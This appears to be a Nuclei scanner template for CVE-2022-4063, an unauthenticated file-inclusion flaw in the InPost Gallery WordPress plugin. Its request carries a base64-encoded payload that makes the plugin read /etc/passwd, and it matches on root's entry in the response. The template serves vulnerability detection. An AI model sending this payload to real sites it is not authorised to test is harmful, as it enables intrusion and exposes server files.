43 lines
1.3 KiB
YAML
43 lines
1.3 KiB
YAML
id: CVE-2022-4063
|
|
|
|
info:
|
|
name: InPost Gallery < 2.1.4.1 - Unauthenticated LFI to RCE
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
The InPost Gallery WordPress plugin before 2.1.4.1 insecurely uses PHP's extract() function when rendering HTML views, allowing attackers to force the inclusion of malicious files & URLs, which may enable them to run code on servers.
|
|
remediation: Fixed in version 2.1.4.1
|
|
reference:
|
|
- https://wpscan.com/vulnerability/6bb07ec1-f1aa-4f4b-9717-c92f651a90a7
|
|
- https://wordpress.org/plugins/inpost-gallery/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-4063
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-4063
|
|
cwe-id: CWE-22
|
|
metadata:
|
|
verified: "true"
|
|
tags: cve,cve2022,lfi,wordpress,wp-plugin,wp,inpost-gallery,unauth
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes=eyJwYWdlcGF0aCI6ICJmaWxlOi8vL2V0Yy9wYXNzd2QifQ=="
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|